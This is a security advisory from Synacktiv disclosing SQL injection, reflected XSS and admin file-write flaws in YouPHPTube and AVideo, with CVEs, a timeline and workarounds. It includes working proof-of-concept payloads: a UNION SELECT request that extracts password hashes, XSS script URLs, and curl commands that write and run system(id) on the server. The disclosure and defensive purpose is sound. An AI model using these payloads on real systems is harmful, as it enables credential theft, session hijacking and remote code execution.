SYNACKTIV
DIGITAL SECURITY

YouPHPTube <= 10.0 and 7.8 multiple vulnerabilities

Security advisory

2021-01-13

Maxime Rinaudo

Vulnerability description

Presentation of *YouPHPTube*

"*YouPHPTube (aka AVIdeo) is an open-source broadcast platform*".

Two projects are based on the same source code (cf *Affected Versions* on page 2) and have been analyzed.

The issues

Synacktiv discovered multiple vulnerabilities in *YouPHPTube* and *AVideo* projects due to a lack of user input sanitization:

- One unauthenticated SQL injection that could be used to extract sensitive data from database such as password hashes and allows an unauthenticated user to become administrator.
- Multiple reflected Cross Script Scripting vulnerabilities that could be used to steal administrators' session cookies or perform actions as an administrator.
- A vulnerable file write allows an administrator to execute code on the server.

Workaround

There is no official workaround at this time but sanitizing *$catName* input data as it should be before processing SQL query to avoid SQL injection. Removing simple quotes is not a sufficient process.

Sanitize *searchPhrase, u* and *redirectUri* with *htmlentities* function to avoid *HTML* and *JavaScript* injections.

Finally, server side file write through *flag* and *code* parameters without file type checks should not be authorized even for administrators.

Affected versions

Project *AVideo,* versions 10.0 and below available on : https://github.com/WWBN/AVideo

Project *YouPHPTube,* version 7.8 and below available on : https://github.com/alnux/YouPHPTube

Timeline

Date	Action
2020-01-19	Advisory sent to *YouPHPTube* and *AVideo* developers: info@avideo.tube, open-source@wwbn.com, danielneto.com@gmail.com, bsitcabua@gmail.com
2021-02-08	Assigned **CVE-2021-25874** for SQL Injection
2021-02-08	Assigned **CVE-2021-25875** for *searchPhrase* XSS
2021-02-08	Assigned **CVE-2021-25876** for u XSS
2021-02-08	Assigned **CVE-2021-25878** for videoNale XSS
2021-02-08	Assigned **CVE-2021-25877** for arbitrary file write

Technical description and proof-of-concept

SQL injection

YouPHPTube and *AVideo* projects do not properly sanitize user input data *$_GET['catName']*. A remote unauthenticated attacker can inject SQL code to the application to extract sensitive data from the database. The code below shows the vulnerability in the function *getVideo().*

```
    $sql .= " AND (c.clean_name = '{$_GET['catName']}' OR c.parentId IN (SELECT cs.id from
categories cs where cs.clean_name = '{$_GET['catName']}' ))";
```

The *$_GET['catName']* parameter is used into the *SQL* request string without sufficient sanitizing. The application only checks and removes simple quotes in user's given strings. An unauthenticated user is able to retrieve MySQL error messages by using an encoded "\" as follows:

```
GET /feed/?catName=%5c HTTP/1.1
[...]

HTTP/1.1 200 OK
[...]

SELECT u.*, v.*, c.iconClass, c.name as category, c.clean_name as
clean_category,c.description as category_description, v.created as videoCreation,
v.modified as videoModified,  (SELECT count(id) FROM likes as l where l.videos_id = v.id
AND `like` = 1 ) as likes,  (SELECT count(id) FROM likes as l where l.videos_id = v.id AND
`like` = -1 ) as dislikes  FROM videos as v  LEFT JOIN categories c ON categories_id = c.id
LEFT JOIN users u ON v.users_id = u.id  WHERE 1=1  AND u.status = 'a'  AND  (SELECT
count(id) FROM videos_group_view as gv WHERE gv.videos_id = v.id ) = 0  AND v.status IN
('a','xmp4','xwebm','xmp3','xogg') AND (c.clean_name = '\' OR c.parentId IN (SELECT cs.id
from categories cs where cs.clean_name = '\' )) ORDER BY  v.created DESC  LIMIT 0, 50 \
nError : (1064) You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near '\' )) ORDER BY  v.created DESC
LIMIT 0, 50' at line 1
```

Then the vulnerability is exploitable using encoded "\" to escape legitimate simple quote as follows:

```
GET /feed/?catName=)%23%5c HTTP/1.1
[...]
```

In this case the request becomes a valid MySQL query:

```
SELECT u.*, v.*, c.iconClass, c.name as category, c.clean_name as
clean_category,c.description as category_description, v.created as videoCreation,
v.modified as videoModified,  (SELECT count(id) FROM likes as l where l.videos_id = v.id
AND `like` = 1 ) as likes,  (SELECT count(id) FROM likes as l where l.videos_id = v.id AND
`like` = -1 ) as dislikes  FROM videos as v  LEFT JOIN categories c ON categories_id = c.id
LEFT JOIN users u ON v.users_id = u.id  WHERE 1=1  AND u.status = 'a'  AND  (SELECT
count(id) FROM videos_group_view as gv WHERE gv.videos_id = v.id ) = 0  AND v.status IN
('a','xmp4','xwebm','xmp3','xogg') AND (c.clean_name = ')#\' OR c.parentId IN (SELECT cs.id
from categories cs where cs.clean_name = ')#\' )) ORDER BY  v.created DESC  LIMIT 0, 50
```

The injection can then be exploited using *UNION* MySQL statement as follows to retrieve, for example, the passwords from table *users*.

On *AVideo* project versions 10.0 and prior:

```
GET /feed/?catName=)
+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
,30,31,
(select+password+from+users+limit+0,1),33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,5
0,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78%23%5c
```

```
HTTP/1.1
[...]

HTTP/1.1 200 OK
[…]
<title>756b4b2b734f5568096daf16516975d7</title>
[…]
```

On *YouPHPTube* project versions 7.8 and prior:

```
GET /youphptube/YouPHPTube-master/feed/?catName=)
+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
,30,
(select+password+from+users+limit+0,1),32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,4
9,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73%23%5c HTTP/1.1
[…]

HTTP/1.1 200 OK
[…]
<title>756b4b2b734f5568096daf16516975d7</title>
[…]
```

Cross site scripting

An unauthenticated user is allowed to inject *HTML* and *JavaScript* code through *u, video, redirectUri* and *searchPhrase* variables. This vulnerability could be used by a remote attacker to steal session cookies and perform actions with administrators privileges.

- On *YouPHPTube* project, on versions 7.8 and prior, in file *view/userLogin.php:*

```
print isset($_GET['redirectUri']) ? $_GET['redirectUri'] : "";
```

The code above allows any user to trigger an XSS vulnerability using for example the following URL:

http://<target>/signUp?redirectUri=%22%3E%3Cscript%3Ealert(111)%3C%2fscript%3E

- *On AVideo* project, on versions 10.0 and prior, in file *view/channels.php:*

```
echo @$_GET['searchPhrase'];
```

The code above allows any user to trigger an XSS vulnerability using for example the following URL:

http://<target>/channels?searchPhrase=test%22%3e%3cscript%3ealert(1)%3c%2fscript%3e

- On both projects, in file *view/videosList.php*:

```
$videoName = "";
if (!empty($video['clean_title'])) {
    $videoName = $video['clean_title'];
} else if (!empty($_GET['videoName'])) {
    $videoName = $_GET['videoName'];
```

```
}
[…]
var urlList = "<?php echo $global['webSiteRootURL']; ?>videosList/<?php echo
addslashes($catLink); ?>video/<?php echo addslashes($videoName); ?>" + page + query;
```

The code above allows any user to trigger an XSS vulnerability using for example the following URL:

http://<target>/videosList/video/%253c%252fscript%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e/page/1

- On both projects, in file *plugin/Live/view/modeYoutubeLive.php:*

```
$u = new User(0, $_GET['u'], false);
[...]
$name = $u→getNameIdentificationBd();
$name = "<a href='" . User::getChannelLink($user_id) . "' class='btn btn-xs btn-
default'>{$name} " . User::getEmailVerifiedIcon($user_id) . "</a>";
$video['creator'] = '<div class="pull-left"><img src="' . User::getPhoto($user_id) . '"
alt="User Photo" class="img img-responsive img-circle" style="max-width: 40px;"/></div><div
class="commentDetails" style="margin-left:45px;"><div class="commenterName text-
muted"><strong>' . $name . '</strong><br>' . $subscribe . '</div></div>';
[…]
<div class="col-xs-12 col-sm-12 col-lg-12"><?php echo $video['creator']; ?></div>
[…]
```

The code above allows any user to trigger an XSS vulnerability using for example the following URL:

http://<target>/plugin/Live/?u=%3Cscript%3Ealert(66)%3C%2fscript%3E

File write

An administrator privileged user is able to write files on filesystem using *flag* and *code* variables on both projects, in file *locale/save.php,* using the following code*:*

```
$file = $dir.strtolower($_POST['flag']).".php";
$myfile = fopen($file, "w") or die("Unable to open file!");
if (!$myfile) {
    $obj->status = 0;
    $obj->error = __("Unable to open file!");
    die(json_encode($obj));
}

$txt = "<?php\nglobal \$t;\n";
fwrite($myfile, $txt);
fwrite($myfile, $_POST['code']);
fclose($myfile);
echo json_encode($obj);
```

This vulnerability allows an administrator to execute commands on targeted filesystem and can be triggered using following commands:

```
$ curl -kis 'http://<target>/locale/save.php' -H 'Cookie:
09b9117edc20bc1c555739155c0eb1bd=9jpn05830lp2f7s9atqbs9kbc1;' --data
'flag=testfile2&code=system(id);'
```

And then:

```
$ curl -kis 'http://<target>/locale/testfile2.php' -H 'Cookie:
09b9117edc20bc1c555739155c0eb1bd=9jpn05830lp2f7s9atqbs9kbc1;'

HTTP/1.1 200 OK
Date: Sat, 21 Nov 2020 05:20:55 GMT
Server: Apache
X-Powered-By: PHP/7.4.11
```

```
Cache-Control: max-age=1, private, must-revalidate
Expires: Sat, 21 Nov 2020 05:20:56 GMT
Content-Length: 49
Content-Type: text/html; charset=UTF-8

uid=81(apache) gid=81(apache) groupes=81(apache)
```